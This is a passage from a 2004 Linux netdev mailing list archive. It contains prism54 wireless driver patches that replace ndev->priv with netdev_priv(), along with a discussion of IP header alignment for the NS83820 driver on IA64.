+#define CARD_DEFAULT_MAXFRAMEBURST DOT11_MAXFRAMEBURST_MIXED_SAFE =20 /* PIMFOR package definitions */ #define PIMFOR_ETHERTYPE 0x8828 diff -Naur -X /home/mcgrof/lib/dontdiff linux-2.6.5-rc1/drivers/net/wireles= s/prism54/oid_mgt.c linux-2.6.5-rc1-mcgrof/drivers/net/wireless/prism54/oid= _mgt.c --- linux-2.6.5-rc1/drivers/net/wireless/prism54/oid_mgt.c Tue Mar 16 20:55= :11 2004 +++ linux-2.6.5-rc1-mcgrof/drivers/net/wireless/prism54/oid_mgt.c Wed Mar 1= 7 01:00:42 2004 @@ -97,7 +97,7 @@ [DOT11_OID_ALOFT_CONFIG] =3D OID_UNKNOWN(0x1d000006), =20 [DOT11_OID_VDCFX] =3D {0x1b000000, 7, 0, 0}, - [DOT11_OID_MAXFRAMEBURST] =3D OID_U32(0x1b000008), + [DOT11_OID_MAXFRAMEBURST] =3D OID_U32(0x1b000008), /* in microseconds */ =20 [DOT11_OID_PSM] =3D OID_U32(0x14000000), [DOT11_OID_CAMTIMEOUT] =3D OID_U32(0x14000001), --kH8JNVvasRCCW1Oz-- --+9faIjRurCDpBc7U Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAV/ILat1JN+IKUl4RAhOrAKCMAR7Uy1/c+B+96GABgaGyIacfhgCfX+EW 7/l9ooML5RfZxeXguFthFCk= =5FuO -----END PGP SIGNATURE----- --+9faIjRurCDpBc7U-- From peter@chubb.wattle.id.au Wed Mar 17 00:54:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 17 Mar 2004 00:55:02 -0800 (PST) Received: from mail006.syd.optusnet.com.au (mail006.syd.optusnet.com.au [211.29.132.63]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2H8sqKO004977 for ; Wed, 17 Mar 2004 00:54:55 -0800 Received: from mail.chubb.wattle.id.au (c211-30-52-142.randw1.nsw.optusnet.com.au [211.30.52.142]) by mail006.syd.optusnet.com.au (8.11.6p2/8.11.6) with ESMTP id i2H8sTw20302; Wed, 17 Mar 2004 19:54:29 +1100 Received: from peterc by mail.chubb.wattle.id.au with local (Exim 3.36 #1 (Debian)) id 1B3Wom-0002XO-00; Wed, 17 Mar 2004 19:54:28 +1100 From: Peter Chubb MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16472.4676.684522.635248@wombat.chubb.wattle.id.au> Date: Wed, 17 Mar 2004 19:54:28 +1100 To: "David S. Miller" Cc: Peter Chubb , linux-ia64@vger.kernel.org, linux-net@vger.kernel.org, netdev@oss.sgi.com Subject: Re: Making the NS83820 usable on IA64 In-Reply-To: <20040316214912.32b4c530.davem@redhat.com> References: <16471.52400.222262.824746@wombat.disy.cse.unsw.edu.au> <20040316214912.32b4c530.davem@redhat.com> X-Mailer: VM 7.17 under 21.4 (patch 15) "Security Through Obscurity" XEmacs Lucid Comments: Hyperbole mail buttons accepted, v04.18. X-Face: GgFg(Z>fx((4\32hvXq<)|jndSniCH~~$D)Ka:P@e@JR1P%Vr}EwUdfwf-4j\rUs#JR{'h# !]])6%Jh~b$VA|ALhnpPiHu[-x~@<"@Iv&|%R)Fq[[,(&Z'O)Q)xCqe1\M[F8#9l8~}#u$S$Rm`S9% \'T@`:&8>Sb*c5d'=eDYI&GF`+t[LfDH="MP5rwOO]w>ALi7'=QJHz&y&C&TE_3j! X-archive-position: 4073 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: peter@chubb.wattle.id.au Precedence: bulk X-list: netdev Content-Length: 1831 Lines: 39 >>>>> "David" == David S Miller writes: David> On Wed, 17 Mar 2004 14:57:36 +1100 Peter Chubb David> wrote: >> The idea is to tell gcc that the IP header is 2-byte aligned, so it >> can generate the right code to access it. Otherwise, it tries to >> do a 4-byte load when trying to extract the header length bitfield, >> which traps. As far as I read the C standard, gcc can do almost >> whatever it wants as regarding the alignment and underlying storage >> size of a bitfield, so it's free to assume 32-bit alignment if it >> wants. David> This makes every piece of code only able to assume 2-byte David> alignment. I don't think this will get accepted :) Well, there are at least two other alternatives. One is to copy the buffer to force iphdr to be 4-byte aligned. If you want to access a bitfield, it should be aligned at whatever the compiler expects bitfields to be aligned at -- in this case, 4-bytes. Last time I brought up this solution it was shouted down. The other is to get rid of the bitfields and to do explicit masking and shifting, every time ihl and version are accessed. And something may have to be done if we ever port to a big-endian machine with struct alignment constraints. We're saved at present by ntohl and friends on the non-aligned saddr and daddr etc. Something has to be done, however. The standard driver plus stack won't even do 100Mb/s; with any kind of network load the whole machine becomes unusable. with the patch I sent before, it gets to 315Mb/s (UDP echo server, 1024 byte packets). If I enable interrupt holdoff code (currently disabled) I can push it to 340Mb/s (and it's spending most of its time in rx_interrupt() -- system time close to 99%). Even this is pretty appalling. (Numbers derived using ipbench.sf.net) From jgarzik@pobox.com Wed Mar 17 01:49:33 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 17 Mar 2004 01:49:40 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2H9nVKO007616 for ; Wed, 17 Mar 2004 01:49:32 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B3Xg1-0004i0-QC; Wed, 17 Mar 2004 09:49:30 +0000 Message-ID: <40581F1D.5090704@pobox.com> Date: Wed, 17 Mar 2004 04:49:17 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Luis R. Rodriguez" CC: netdev@oss.sgi.com, prism54-devel@prism54.org Subject: Re: [PATCH] prism54 tree sync update References: <20040317063659.GC24063@ruslug.rutgers.edu> In-Reply-To: <20040317063659.GC24063@ruslug.rutgers.edu> Content-Type: multipart/mixed; boundary="------------050609010905000107010904" X-archive-position: 4074 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 38643 Lines: 1133 This is a multi-part message in MIME format. --------------050609010905000107010904 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Luis R. Rodriguez wrote: > Attached patch has been well tested. It updates 2.6.5-rc1 prism54 > sources to our latest work (which had also previously been tested). > Some additional new kernel updates were integrated as well. Applied to 2.6, after splitting up into the two attached patches. Please double-check that no changes were missed, and send a patch incremental to the attachments if so. Jeff --------------050609010905000107010904 Content-Type: text/plain; name="patch-a" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="patch-a" # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1739 -> 1.1740 # drivers/net/wireless/prism54/islpci_dev.c 1.3 -> 1.4 # drivers/net/wireless/prism54/islpci_eth.c 1.2 -> 1.3 # drivers/net/wireless/prism54/isl_ioctl.c 1.3 -> 1.4 # drivers/net/wireless/prism54/islpci_hotplug.c 1.2 -> 1.3 # drivers/net/wireless/prism54/islpci_mgt.c 1.3 -> 1.4 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 04/03/17 mcgrof@studorgs.rutgers.edu 1.1740 # [wireless prism54] use netdev_priv() helper # -------------------------------------------- # diff -Nru a/drivers/net/wireless/prism54/isl_ioctl.c b/drivers/net/wireless/prism54/isl_ioctl.c --- a/drivers/net/wireless/prism54/isl_ioctl.c Wed Mar 17 04:47:27 2004 +++ b/drivers/net/wireless/prism54/isl_ioctl.c Wed Mar 17 04:47:27 2004 @@ -250,7 +250,7 @@ struct iw_statistics * prism54_get_wireless_stats(struct net_device *ndev) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); /* If the stats are being updated return old data */ if (down_trylock(&priv->stats_sem) == 0) { @@ -277,7 +277,7 @@ prism54_commit(struct net_device *ndev, struct iw_request_info *info, char *cwrq, char *extra) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); /* simply re-set the last set SSID, this should commit most stuff */ @@ -293,7 +293,7 @@ prism54_get_name(struct net_device *ndev, struct iw_request_info *info, char *cwrq, char *extra) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); char *capabilities; union oid_res_t r; int rvalue; @@ -324,7 +324,7 @@ prism54_set_freq(struct net_device *ndev, struct iw_request_info *info, struct iw_freq *fwrq, char *extra) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); int rvalue; u32 c = 0; @@ -363,7 +363,7 @@ prism54_get_freq(struct net_device *ndev, struct iw_request_info *info, struct iw_freq *fwrq, char *extra) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); union oid_res_t r; int rvalue; @@ -379,7 +379,7 @@ prism54_set_mode(struct net_device *ndev, struct iw_request_info *info, __u32 * uwrq, char *extra) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); u32 mlmeautolevel = CARD_DEFAULT_MLME_MODE; /* Let's see if the user passed a valid Linux Wireless mode */ @@ -420,7 +420,7 @@ prism54_get_mode(struct net_device *ndev, struct iw_request_info *info, __u32 * uwrq, char *extra) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); BUG_ON((priv->iw_mode < IW_MODE_AUTO) || (priv->iw_mode > IW_MODE_MONITOR)); @@ -438,7 +438,7 @@ prism54_set_sens(struct net_device *ndev, struct iw_request_info *info, struct iw_param *vwrq, char *extra) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); u32 sens; /* by default the card sets this to 20. */ @@ -452,7 +452,7 @@ prism54_get_sens(struct net_device *ndev, struct iw_request_info *info, struct iw_param *vwrq, char *extra) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); union oid_res_t r; int rvalue; @@ -470,7 +470,7 @@ struct iw_point *dwrq, char *extra) { struct iw_range *range = (struct iw_range *) extra; - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); char *data; int i, m, rvalue; struct obj_frequencies *freq; @@ -576,7 +576,7 @@ prism54_set_wap(struct net_device *ndev, struct iw_request_info *info, struct sockaddr *awrq, char *extra) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); char bssid[6]; int rvalue; @@ -598,7 +598,7 @@ prism54_get_wap(struct net_device *ndev, struct iw_request_info *info, struct sockaddr *awrq, char *extra) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); union oid_res_t r; int rvalue; @@ -630,7 +630,7 @@ { struct iw_event iwe; /* Temporary buffer */ short cap; - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); /* The first entry must be the MAC address */ memcpy(iwe.u.ap_addr.sa_data, bss->address, 6); @@ -721,7 +721,7 @@ prism54_get_scan(struct net_device *ndev, struct iw_request_info *info, struct iw_point *dwrq, char *extra) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); int i, rvalue; struct obj_bsslist *bsslist; u32 noise = 0; @@ -762,7 +762,7 @@ prism54_set_essid(struct net_device *ndev, struct iw_request_info *info, struct iw_point *dwrq, char *extra) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); struct obj_ssid essid; memset(essid.octets, 0, 33); @@ -789,7 +789,7 @@ prism54_get_essid(struct net_device *ndev, struct iw_request_info *info, struct iw_point *dwrq, char *extra) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); struct obj_ssid *essid; union oid_res_t r; int rvalue; @@ -819,7 +819,7 @@ prism54_set_nick(struct net_device *ndev, struct iw_request_info *info, struct iw_point *dwrq, char *extra) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); if (dwrq->length > IW_ESSID_MAX_SIZE) return -E2BIG; @@ -836,7 +836,7 @@ prism54_get_nick(struct net_device *ndev, struct iw_request_info *info, struct iw_point *dwrq, char *extra) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); dwrq->length = 0; @@ -856,7 +856,7 @@ struct iw_param *vwrq, char *extra) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); u32 rate, profile; char *data; int ret, i; @@ -924,7 +924,7 @@ struct iw_request_info *info, struct iw_param *vwrq, char *extra) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); int rvalue; char *data; union oid_res_t r; @@ -948,7 +948,7 @@ prism54_set_rts(struct net_device *ndev, struct iw_request_info *info, struct iw_param *vwrq, char *extra) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); return mgt_set_request(priv, DOT11_OID_RTSTHRESH, 0, &vwrq->value); } @@ -957,7 +957,7 @@ prism54_get_rts(struct net_device *ndev, struct iw_request_info *info, struct iw_param *vwrq, char *extra) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); union oid_res_t r; int rvalue; @@ -972,7 +972,7 @@ prism54_set_frag(struct net_device *ndev, struct iw_request_info *info, struct iw_param *vwrq, char *extra) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); return mgt_set_request(priv, DOT11_OID_FRAGTHRESH, 0, &vwrq->value); } @@ -981,7 +981,7 @@ prism54_get_frag(struct net_device *ndev, struct iw_request_info *info, struct iw_param *vwrq, char *extra) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); union oid_res_t r; int rvalue; @@ -1004,7 +1004,7 @@ prism54_set_retry(struct net_device *ndev, struct iw_request_info *info, struct iw_param *vwrq, char *extra) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); u32 slimit = 0, llimit = 0; /* short and long limit */ u32 lifetime = 0; int rvalue = 0; @@ -1048,7 +1048,7 @@ prism54_get_retry(struct net_device *ndev, struct iw_request_info *info, struct iw_param *vwrq, char *extra) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); union oid_res_t r; int rvalue = 0; vwrq->disabled = 0; /* It cannot be disabled */ @@ -1080,7 +1080,7 @@ prism54_set_encode(struct net_device *ndev, struct iw_request_info *info, struct iw_point *dwrq, char *extra) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); int rvalue = 0, force = 0; int authen = DOT11_AUTH_OS, invoke = 0, exunencrypt = 0; union oid_res_t r; @@ -1170,7 +1170,7 @@ prism54_get_encode(struct net_device *ndev, struct iw_request_info *info, struct iw_point *dwrq, char *extra) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); struct obj_key *key; u32 devindex, index = (dwrq->flags & IW_ENCODE_INDEX) - 1; u32 authen = 0, invoke = 0, exunencrypt = 0; @@ -1218,7 +1218,7 @@ prism54_get_txpower(struct net_device *ndev, struct iw_request_info *info, struct iw_param *vwrq, char *extra) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); union oid_res_t r; int rvalue; @@ -1238,7 +1238,7 @@ prism54_set_txpower(struct net_device *ndev, struct iw_request_info *info, struct iw_param *vwrq, char *extra) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); s32 u = vwrq->value; /* intersil firmware operates in 0.25 dBm (1/4) */ @@ -1264,7 +1264,7 @@ prism54_reset(struct net_device *ndev, struct iw_request_info *info, __u32 * uwrq, char *extra) { - islpci_reset(ndev->priv, 0); + islpci_reset(netdev_priv(ndev), 0); return 0; } @@ -1273,7 +1273,7 @@ prism54_set_beacon(struct net_device *ndev, struct iw_request_info *info, __u32 * uwrq, char *extra) { - int rvalue = mgt_set_request((islpci_private *) ndev->priv, + int rvalue = mgt_set_request((islpci_private *) netdev_priv(ndev), DOT11_OID_BEACONPERIOD, 0, uwrq); return (rvalue ? rvalue : -EINPROGRESS); @@ -1287,7 +1287,7 @@ int rvalue; rvalue = - mgt_get_request((islpci_private *) ndev->priv, + mgt_get_request((islpci_private *) netdev_priv(ndev), DOT11_OID_BEACONPERIOD, 0, NULL, &r); *uwrq = r.u; @@ -1337,7 +1337,7 @@ prism54_add_mac(struct net_device *ndev, struct iw_request_info *info, struct sockaddr *awrq, char *extra) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); struct islpci_acl *acl = &priv->acl; struct mac_entry *entry; struct sockaddr *addr = (struct sockaddr *) extra; @@ -1366,7 +1366,7 @@ prism54_del_mac(struct net_device *ndev, struct iw_request_info *info, struct sockaddr *awrq, char *extra) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); struct islpci_acl *acl = &priv->acl; struct mac_entry *entry; struct list_head *ptr; @@ -1396,7 +1396,7 @@ prism54_get_mac(struct net_device *ndev, struct iw_request_info *info, struct iw_point *dwrq, char *extra) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); struct islpci_acl *acl = &priv->acl; struct mac_entry *entry; struct list_head *ptr; @@ -1427,7 +1427,7 @@ prism54_set_policy(struct net_device *ndev, struct iw_request_info *info, __u32 * uwrq, char *extra) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); struct islpci_acl *acl = &priv->acl; u32 mlmeautolevel; @@ -1460,7 +1460,7 @@ prism54_get_policy(struct net_device *ndev, struct iw_request_info *info, __u32 * uwrq, char *extra) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); struct islpci_acl *acl = &priv->acl; *uwrq = acl->policy; @@ -1511,7 +1511,7 @@ /* Tell the card to kick every client */ mlme->id = cpu_to_le16(0); - rvalue = mgt_set_request(ndev->priv, DOT11_OID_DISASSOCIATE, 0, mlme); + rvalue = mgt_set_request(netdev_priv(ndev), DOT11_OID_DISASSOCIATE, 0, mlme); kfree(mlme); return rvalue; @@ -1535,7 +1535,7 @@ /* Tell the card to only kick the corresponding bastard */ memcpy(mlme->address, addr->sa_data, ETH_ALEN); mlme->id = cpu_to_le16(-1); - rvalue = mgt_set_request(ndev->priv, DOT11_OID_DISASSOCIATE, 0, mlme); + rvalue = mgt_set_request(netdev_priv(ndev), DOT11_OID_DISASSOCIATE, 0, mlme); kfree(mlme); @@ -1595,7 +1595,7 @@ static void link_changed(struct net_device *ndev, u32 bitrate) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); if (le32_to_cpu(bitrate)) { if (priv->iw_mode == IW_MODE_INFRA) { @@ -1604,9 +1604,9 @@ NULL); wireless_send_event(ndev, SIOCGIWAP, &uwrq, NULL); } else - send_simple_event(ndev->priv, "Link established"); + send_simple_event(netdev_priv(ndev), "Link established"); } else - send_simple_event(ndev->priv, "Link lost"); + send_simple_event(netdev_priv(ndev), "Link lost"); } /* Beacon/ProbeResp payload header */ @@ -1889,16 +1889,17 @@ prism54_process_trap(void *data) { struct islpci_mgmtframe *frame = data; + struct net_device *ndev = frame->ndev; enum oid_num_t n = mgt_oidtonum(frame->header->oid); - prism54_process_trap_helper(frame->ndev->priv, n, frame->data); + prism54_process_trap_helper(netdev_priv(ndev), n, frame->data); islpci_mgt_release(frame); } int prism54_set_mac_address(struct net_device *ndev, void *addr) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); int ret; if (ndev->addr_len != 6) @@ -1923,7 +1924,7 @@ prism54_set_wpa(struct net_device *ndev, struct iw_request_info *info, __u32 * uwrq, char *extra) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); down_write(&priv->mib_sem); @@ -1964,7 +1965,7 @@ prism54_get_oid(struct net_device *ndev, struct iw_request_info *info, struct iw_point *data, char *extra) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); struct islpci_mgmtframe *response = NULL; int ret = -EIO, response_op = PIMFOR_OP_ERROR; @@ -1998,7 +1999,7 @@ prism54_set_oid(struct net_device *ndev, struct iw_request_info *info, struct iw_point *data, char *extra) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); struct islpci_mgmtframe *response = NULL; int ret = 0, response_op = PIMFOR_OP_ERROR; diff -Nru a/drivers/net/wireless/prism54/islpci_dev.c b/drivers/net/wireless/prism54/islpci_dev.c --- a/drivers/net/wireless/prism54/islpci_dev.c Wed Mar 17 04:47:27 2004 +++ b/drivers/net/wireless/prism54/islpci_dev.c Wed Mar 17 04:47:27 2004 @@ -245,7 +245,7 @@ islpci_open(struct net_device *ndev) { u32 rc; - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); printk(KERN_DEBUG "%s: islpci_open()\n", ndev->name); @@ -265,7 +265,7 @@ static int islpci_close(struct net_device *ndev) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); printk(KERN_DEBUG "%s: islpci_close ()\n", ndev->name); @@ -491,7 +491,7 @@ struct net_device_stats * islpci_statistics(struct net_device *ndev) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); #if VERBOSE > SHOW_ERROR_MESSAGES DEBUG(SHOW_FUNCTION_CALLS, "islpci_statistics \n"); diff -Nru a/drivers/net/wireless/prism54/islpci_eth.c b/drivers/net/wireless/prism54/islpci_eth.c --- a/drivers/net/wireless/prism54/islpci_eth.c Wed Mar 17 04:47:27 2004 +++ b/drivers/net/wireless/prism54/islpci_eth.c Wed Mar 17 04:47:27 2004 @@ -72,7 +72,7 @@ int islpci_eth_transmit(struct sk_buff *skb, struct net_device *ndev) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); isl38xx_control_block *cb = priv->control_block; u32 index; dma_addr_t pci_map_address; @@ -411,7 +411,7 @@ void islpci_eth_tx_timeout(struct net_device *ndev) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); struct net_device_stats *statistics = &priv->statistics; /* increment the transmit error counter */ diff -Nru a/drivers/net/wireless/prism54/islpci_hotplug.c b/drivers/net/wireless/prism54/islpci_hotplug.c --- a/drivers/net/wireless/prism54/islpci_hotplug.c Wed Mar 17 04:47:27 2004 +++ b/drivers/net/wireless/prism54/islpci_hotplug.c Wed Mar 17 04:47:27 2004 @@ -133,7 +133,7 @@ islpci_private *priv; char *modelp; - priv = ndev->priv; + priv = netdev_priv(ndev); switch (priv->pdev->subsystem_device) { case PCIDEVICE_ISL3877: modelp = "PRISM Indigo"; @@ -269,7 +269,7 @@ goto do_pci_release_regions; } - priv = ndev->priv; + priv = netdev_priv(ndev); islpci_set_state(priv, PRV_STATE_PREBOOT); /* we are attempting to boot */ /* card is in unknown state yet, might have some interrupts pending */ @@ -314,7 +314,7 @@ prism54_remove(struct pci_dev *pdev) { struct net_device *ndev = pci_get_drvdata(pdev); - islpci_private *priv = ndev ? ndev->priv : 0; + islpci_private *priv = ndev ? netdev_priv(ndev) : 0; BUG_ON(!priv); if (!__in_cleanup_module) { @@ -355,7 +355,7 @@ prism54_suspend(struct pci_dev *pdev, u32 state) { struct net_device *ndev = pci_get_drvdata(pdev); - islpci_private *priv = ndev ? ndev->priv : 0; + islpci_private *priv = ndev ? netdev_priv(ndev) : 0; BUG_ON(!priv); printk(KERN_NOTICE "%s: got suspend request (state %d)\n", @@ -380,7 +380,7 @@ prism54_resume(struct pci_dev *pdev) { struct net_device *ndev = pci_get_drvdata(pdev); - islpci_private *priv = ndev ? ndev->priv : 0; + islpci_private *priv = ndev ? netdev_priv(ndev) : 0; BUG_ON(!priv); printk(KERN_NOTICE "%s: got resume request\n", ndev->name); diff -Nru a/drivers/net/wireless/prism54/islpci_mgt.c b/drivers/net/wireless/prism54/islpci_mgt.c --- a/drivers/net/wireless/prism54/islpci_mgt.c Wed Mar 17 04:47:27 2004 +++ b/drivers/net/wireless/prism54/islpci_mgt.c Wed Mar 17 04:47:27 2004 @@ -106,7 +106,7 @@ int islpci_mgmt_rx_fill(struct net_device *ndev) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); isl38xx_control_block *cb = /* volatile not needed */ (isl38xx_control_block *) priv->control_block; u32 curr = le32_to_cpu(cb->driver_curr_frag[ISL38XX_CB_RX_MGMTQ]); @@ -165,7 +165,7 @@ islpci_mgt_transmit(struct net_device *ndev, int operation, unsigned long oid, void *data, int length) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); isl38xx_control_block *cb = (isl38xx_control_block *) priv->control_block; void *p; @@ -271,7 +271,7 @@ int islpci_mgt_receive(struct net_device *ndev) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); isl38xx_control_block *cb = (isl38xx_control_block *) priv->control_block; u32 curr_frag; @@ -414,7 +414,7 @@ void islpci_mgt_cleanup_transmit(struct net_device *ndev) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); isl38xx_control_block *cb = /* volatile not needed */ (isl38xx_control_block *) priv->control_block; u32 curr_frag; @@ -451,7 +451,7 @@ void *senddata, int sendlen, struct islpci_mgmtframe **recvframe) { - islpci_private *priv = ndev->priv; + islpci_private *priv = netdev_priv(ndev); const long wait_cycle_jiffies = (ISL38XX_WAIT_CYCLE * 10 * HZ) / 1000; long timeout_left = ISL38XX_MAX_WAIT_CYCLES * wait_cycle_jiffies; int err; --------------050609010905000107010904 Content-Type: text/plain; name="patch-b" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="patch-b" # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1740 -> 1.1741 # drivers/net/wireless/prism54/islpci_eth.c 1.3 -> 1.4 # drivers/net/wireless/prism54/islpci_mgt.h 1.2 -> 1.3 # drivers/net/wireless/Kconfig 1.20 -> 1.21 # drivers/net/wireless/prism54/isl_ioctl.c 1.4 -> 1.5 # drivers/net/wireless/prism54/islpci_hotplug.c 1.3 -> 1.4 # drivers/net/wireless/prism54/isl_oid.h 1.1 -> 1.2 # drivers/net/wireless/prism54/islpci_mgt.c 1.4 -> 1.5 # drivers/net/wireless/prism54/oid_mgt.c 1.1 -> 1.2 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 04/03/17 mcgrof@studorgs.rutgers.edu 1.1741 # [wireless prism54] several minor updates # # Here is the ChangeLog: # # * wireless/Kconfig: fix typos, add SMC2835W-V2 # * islpci_hotplug.c: new version 1.1, authors list, and # module description updated appropriately # * isl_ioctl.c, islpci_dev.c, # islpci_eth.c, islpci_hotplug.c, islpci_mgt.c: # s/ndev->priv/netdev_priv(ndev)/g # * islpci_hotplug.c: Add PCI ID values for SMC2835W-V2 cardbus card # Patch by Manuel Lauss # * isl_38xx.[ch]: include firmware.h in header, remove # declaration of headers in c file. Fix compiler warnings. # * islpci_dev.c (islpci_alloc_memory), # * islpci_eth.c (islpci_eth_cleanup_transmit, # islpci_eth_transmit, islpci_eth_receive): deal with skb stray # pointer, declare NULL. # * isl_38xx.c: remove unecessary __KERNEL_SYSCALLS__ and # re-ordered headers per vger.kernel.org - liking. # * isl_ioctl.c, islpci_mgt.c: move from MODULE_PARAM to the new # module_param, which is type-safe. Includes the new # . # * isl_ioctl.c (prism54_[s|g]et_[maxframeburst|profile]): added. # Not adding ioctls as ajfa is working on moving current private ioctls # to subioctls. # * isl_oid.h (dot11_[maxframeburst|preamblesettings| # slotsettings|nonerpstatus|nonerpprotection]_t): added. # Note: more ioctls can be added here, I believe problems # with mixed modes can be pinpointed here, with these values. # -------------------------------------------- # diff -Nru a/drivers/net/wireless/Kconfig b/drivers/net/wireless/Kconfig --- a/drivers/net/wireless/Kconfig Wed Mar 17 04:47:33 2004 +++ b/drivers/net/wireless/Kconfig Wed Mar 17 04:47:33 2004 @@ -307,18 +307,18 @@ It has basic support for Linux wireless extensions and initial micro support for ethtool. -comment "Prism GT/Duette 802.11(a/b/g) PCI/PCMCIA support" +comment "Prism GT/Duette 802.11(a/b/g) PCI/Cardbus support" depends on NET_RADIO && PCI config PRISM54 - tristate 'Intersil Prism GT/Duette/Indigo PCI/PCMCIA' + tristate 'Intersil Prism GT/Duette/Indigo PCI/Cardbus' depends on PCI && NET_RADIO && EXPERIMENTAL && HOTPLUG select FW_LOADER ---help--- Enable PCI and Cardbus support for the following chipset based cards: - ISL3880 - Prism GT 802.11 b/g - ISL3877 - Prism Indigo 802.11 a - ISL3890 - Prism Duette 802.11 a/b/g + ISL3880 - Prism GT 802.11 b/g + ISL3877 - Prism Indigo 802.11 a + ISL3890 - Prism Duette 802.11 a/b/g For a complete list of supported cards visit . Here is the latest confirmed list of supported cards: @@ -335,8 +335,9 @@ Peabird WLG-PCI PCI Card Sitecom WL-100i Cardbus Card Sitecom WL-110i PCI Card - SMC2802W - EZ Connect g 2.4GHz 54 Mbps Wireless PCI Card - SMC2835W - EZ Connect g 2.4GHz 54 Mbps Wireless Cardbus Card + SMC2802W - EZ Connect g 2.4GHz 54 Mbps Wireless PCI Card + SMC2835W - EZ Connect g 2.4GHz 54 Mbps Wireless Cardbus Card + SMC2835W-V2 - EZ Connect g 2.4GHz 54 Mbps Wireless Cardbus Card Z-Com XG-900 PCI Card Zyxel G-100 Cardbus Card diff -Nru a/drivers/net/wireless/prism54/isl_ioctl.c b/drivers/net/wireless/prism54/isl_ioctl.c --- a/drivers/net/wireless/prism54/isl_ioctl.c Wed Mar 17 04:47:33 2004 